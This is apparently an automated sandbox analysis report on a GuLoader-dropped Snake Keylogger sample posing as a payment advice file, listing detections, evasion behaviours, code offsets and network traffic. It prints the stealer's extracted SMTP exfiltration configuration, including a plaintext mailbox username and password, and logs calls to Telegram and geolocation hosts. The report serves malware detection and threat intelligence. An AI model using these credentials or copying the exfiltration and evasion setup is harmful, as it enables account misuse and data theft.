Edit tour

Windows Analysis Report
PayeeAdvice_HK54912_R0038704_37504.exe

Overview

General Information

Sample name:	PayeeAdvice_HK54912_R0038704_37504.exe
Analysis ID:	1559227
MD5:	62134cc34c58682721cb5bd2a9ba3624
SHA1:	a650b3507161f8d705b183db6a965307d95625f4
SHA256:	6d7f0587ad61a77009ec4d739d3ffd3f74e0ab8a572913812bef6b8c2b89ea54
Tags:	exeuser-lowmal3
Infos:

Detection

GuLoader, Snake Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected GuLoader

Yara detected Snake Keylogger

Yara detected Telegram RAT

AI detected suspicious sample

Machine Learning detection for sample

Switches to a custom stack to bypass stack traces

Tries to detect the country of the analysis system (by using the IP)

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to dynamically determine API calls

Contains functionality to read the PEB

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Suspicious Outbound SMTP Connections

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses SMTP (mail sending)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

PayeeAdvice_HK54912_R0038704_37504.exe (PID: 7156 cmdline: "C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe" MD5: 62134CC34C58682721CB5BD2A9BA3624)

PayeeAdvice_HK54912_R0038704_37504.exe (PID: 6104 cmdline: "C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe" MD5: 62134CC34C58682721CB5BD2A9BA3624)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: Snake Keylogger

{"Exfil Mode": "SMTP", "Username": "wajahat@foodex.com.pk", "Password": "wajahat1975", "Host": "mail.foodex.com.pk", "Port": "587", "Version": "4.4"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.1875584401.00000000008CA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GuLoader_3	Yara detected GuLoader	Joe Security
00000002.00000002.4201423308.00000000339C1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000000.00000002.1876669136.000000000439B000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
00000002.00000002.4201423308.0000000033AC9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: PayeeAdvice_HK54912_R0038704_37504.exe PID: 7156	JoeSecurity_GuLoader_3	Yara detected GuLoader	Joe Security
Process Memory Space: PayeeAdvice_HK54912_R0038704_37504.exe PID: 6104	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: PayeeAdvice_HK54912_R0038704_37504.exe PID: 6104	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 2 entries

Sigma Signatures

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 37.27.123.72, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe, Initiated: true, ProcessId: 6104, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49756

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T10:25:37.385156+0100	2803305	3	Unknown Traffic	192.168.2.4	49740	188.114.96.3	443	TCP
2024-11-20T10:25:48.275983+0100	2803305	3	Unknown Traffic	192.168.2.4	49754	188.114.96.3	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T10:25:35.539618+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49738	132.226.8.169	80	TCP
2024-11-20T10:25:36.805200+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49738	132.226.8.169	80	TCP
2024-11-20T10:25:38.414708+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49741	132.226.8.169	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000002.00000002.4201423308.00000000339C1000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "SMTP", "Username": "wajahat@foodex.com.pk", "Password": "wajahat1975", "Host": "mail.foodex.com.pk", "Port": "587", "Version": "4.4"}

Multi AV Scanner detection for submitted file

Source: PayeeAdvice_HK54912_R0038704_37504.exe

ReversingLabs: Detection: 42%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: PayeeAdvice_HK54912_R0038704_37504.exe

Joe Sandbox ML: detected

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36C487A8 CryptUnprotectData,		2_2_36C487A8
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36C48EF1 CryptUnprotectData,		2_2_36C48EF1

Source: PayeeAdvice_HK54912_R0038704_37504.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49739 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 13.107.43.12:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49755 version: TLS 1.2

Source: PayeeAdvice_HK54912_R0038704_37504.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 0_2_004065DA FindFirstFileW,FindClose,	0_2_004065DA
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 0_2_004059A9 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,LdrInitializeThunk,FindNextFileW,FindClose,	0_2_004059A9
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 0_2_00402868 FindFirstFileW,	0_2_00402868
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_00402868 FindFirstFileW,	2_2_00402868
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_004065DA FindFirstFileW,FindClose,	2_2_004065DA
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_004059A9 DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,LdrInitializeThunk,FindNextFileW,FindClose,	2_2_004059A9

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 0011F45Dh	2_2_0011F2C0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 0011F45Dh	2_2_0011F4AC
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 0011FC19h	2_2_0011F960
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36A531E0h	2_2_36A52DC8
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36A52C19h	2_2_36A52968
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36A5E959h	2_2_36A5E6B0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36A5E0A9h	2_2_36A5DE00
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	2_2_36A50673
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36A5E501h	2_2_36A5E258
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36A5F661h	2_2_36A5F3B8
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36A5EDB1h	2_2_36A5EB08
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36A5F209h	2_2_36A5EF60
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36A5CF49h	2_2_36A5CCA0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36A5D3A1h	2_2_36A5D0F8
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36A5FAB9h	2_2_36A5F810
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	2_2_36A50040
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	2_2_36A50853
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36A5DC51h	2_2_36A5D9A8
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36A531E0h	2_2_36A5310E
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36A5D7F9h	2_2_36A5D550
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36C49280h	2_2_36C48FB0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36C47EB5h	2_2_36C47B78
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36C4D5D6h	2_2_36C4D308
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36C432B1h	2_2_36C43008
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36C47571h	2_2_36C472C8
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36C45179h	2_2_36C44ED0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36C4F5C6h	2_2_36C4F2F8
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36C42151h	2_2_36C41EA8
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36C41CF9h	2_2_36C41A50
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36C4F136h	2_2_36C4EE68
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36C47119h	2_2_36C46E70
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36C44D21h	2_2_36C44A78
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36C4D146h	2_2_36C4CE78
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36C46CC1h	2_2_36C46A18
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36C448C9h	2_2_36C44620
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36C45E81h	2_2_36C45BD8
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36C45A29h	2_2_36C45780
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36C4FA56h	2_2_36C4F788
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36C4DA66h	2_2_36C4D798
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36C4BA76h	2_2_36C4B7A8
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36C42E59h	2_2_36C42BB0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36C42A01h	2_2_36C42758
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36C425A9h	2_2_36C42300
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36C4B5E6h	2_2_36C4B318
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36C479C9h	2_2_36C47720
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36C455D1h	2_2_36C45328
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36C4C396h	2_2_36C4C0C8
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36C40B99h	2_2_36C408F0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36C46733h	2_2_36C46488
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then mov esp, ebp	2_2_36C4B08B
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36C40741h	2_2_36C40498
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36C4E386h	2_2_36C4E0B8
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36C402E9h	2_2_36C40040
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36C43709h	2_2_36C43460
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36C4DEF6h	2_2_36C4DC28
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36C462D9h	2_2_36C46030
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36C4BF06h	2_2_36C4BC38
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then mov esp, ebp	2_2_36C4B1C0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36C4ECA6h	2_2_36C4E9D8
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36C4CCB6h	2_2_36C4C9E8
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36C418A1h	2_2_36C415F8
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36C41449h	2_2_36C411A0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36C4E816h	2_2_36C4E548
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36C40FF1h	2_2_36C40D48
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36C4C826h	2_2_36C4C558
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36CB6970h	2_2_36CB6678
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36CBE5C0h	2_2_36CBE2C8
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36CB3996h	2_2_36CB36C8
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36CB079Eh	2_2_36CB04D0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36CB77C8h	2_2_36CB74D0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36CBCDD8h	2_2_36CBCAE0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36CBB5F0h	2_2_36CBB2F8
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36CBBF80h	2_2_36CBBC88
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36CB2756h	2_2_36CB2488
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36CB154Eh	2_2_36CB1280
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36CBA798h	2_2_36CBA4A0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36CB5986h	2_2_36CB56B8
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36CB8FB0h	2_2_36CB8CB8
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36CBFDA8h	2_2_36CBFAB0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36CB9940h	2_2_36CB9648
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36CB030Eh	2_2_36CB0040
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36CBEF50h	2_2_36CBEC58
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36CB8158h	2_2_36CB7E60
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36CB4746h	2_2_36CB4478
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36CBD768h	2_2_36CBD470
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36CB7300h	2_2_36CB7008
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36CBE0F8h	2_2_36CBDE00
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36CBC910h	2_2_36CBC618
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36CB54F6h	2_2_36CB5228
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36CB3506h	2_2_36CB3238
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36CBB128h	2_2_36CBAE30
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36CBBAB8h	2_2_36CBB7C0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36CB6347h	2_2_36CB5FD8
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36CBA2D0h	2_2_36CB9FD8
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36CB42B6h	2_2_36CB3FE8
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36CBF8E0h	2_2_36CBF5E8
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36CB22C6h	2_2_36CB1FF8
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36CB10BEh	2_2_36CB0DF0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36CB8AE8h	2_2_36CB87F0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36CB9478h	2_2_36CB9180
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36CB5066h	2_2_36CB4D98
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36CB7C90h	2_2_36CB7998
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36CBEA88h	2_2_36CBE790
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36CBD2A0h	2_2_36CBCFA8
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36CB3076h	2_2_36CB2DA8
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36CB1E47h	2_2_36CB1BA0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36CB5E16h	2_2_36CB5B48
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36CB6E38h	2_2_36CB6B40
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36CB3E26h	2_2_36CB3B58
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36CBC448h	2_2_36CBC150
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36CBAC60h	2_2_36CBA968
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36CB0C2Eh	2_2_36CB0960
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36CB4BD7h	2_2_36CB4908
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36CB2BE6h	2_2_36CB2918
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36CB19DEh	2_2_36CB1710
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36CB9E08h	2_2_36CB9B10
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36CB8620h	2_2_36CB8328
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36CBF418h	2_2_36CBF120
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36CBDC30h	2_2_36CBD938
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36CF1FE8h	2_2_36CF1CF0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36CF1190h	2_2_36CF0E98
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36CF0338h	2_2_36CF0040
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36CF1B20h	2_2_36CF1828
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36CF0CC8h	2_2_36CF09D0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36CF1658h	2_2_36CF1360
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 36CF0801h	2_2_36CF0508
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	2_2_36D33E70
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	2_2_36D33E60
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	2_2_36D30D26
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	2_2_36D30A10
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	2_2_36D309E1

Networking

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Source: global traffic

TCP traffic: 192.168.2.4:49756 -> 37.27.123.72:587

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
